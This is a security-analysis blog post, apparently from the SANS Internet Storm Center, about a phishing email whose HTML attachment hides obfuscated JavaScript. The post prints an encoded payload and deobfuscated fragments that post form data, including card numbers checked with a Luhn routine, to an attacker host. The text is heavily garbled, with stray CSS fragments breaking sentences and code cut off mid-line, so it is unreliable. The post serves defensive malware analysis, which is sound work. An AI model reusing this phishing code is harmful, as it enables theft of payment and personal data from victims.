One of our readers sent us an interesting sample that was captured by his anti-spam. The suspicious email had an HTML file attached to it. By having a look at the file manually, it is heavily padding:5px 10px”>
var iKz7xb8 = 160b6e65697e737a6f0a627e67661416425e47460a464b444d17084f44081416424f4b4e1416
474f5e4b0a49424b58594f5e17085f5e4c0712081416474f5e4b0a444b474f17085c434f5d5a45585e080a49454
45e4f445e17085d434e5e42174e4f5c43494f075d434e5e42060a4344435e434b460759494b464f171b08141646
4344410a42584f4c1708425e5e5a591005054c45445e59044d45454d464f4b5a43590449454705495959154c4b4
743465317784548455e45080a584f461708595e53464f59424f4f5e08140a16595e53464f1400514c45445e074c
4b47434653100a0d784548455e450d060a5 …
The file has a current VT score of 0/55 [1] and isfree width:808px” />
The HTTP form data are sent to a rogue server but how to get it? To obtain more details about the malicious JavaScript code, it can be de-obfuscated with JSDetox[2] and some manual changes. The complete code can now be padding:5px 10px”>
input type=button class=ssP onClick=ss() value=Submit Form
…
function ss(){
if (!TLSPort()){
window.location.replace(https://www.paypal.com/
}
var GoogleAnalytics=hxxp://www.eurodyte.net/ + 86c2e66377265675a8a0edc1befe1837.php
document.forms[pFdocument.forms[pF].method=POST
document.forms[pF
if (!v || !w || !x || y==00 || z==00x=x.replace(/D/g, n
if (be){
if ((nd *=2) be=!be
}
return (nn % 10)==0
}
Here is a valid POST to the attacker width:800px” />
[1]https://www.virustotal.com/en/file/a54f8118448da24d9c344e0b2dea511819b6f7de5b2bb2d00b99c71153a4970a/analysis/
[2]https://github.com/svent/jsdetox
Xavier Mertens (@xme)
ISC Handler – Freelance Security Consultant
PGP Key
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.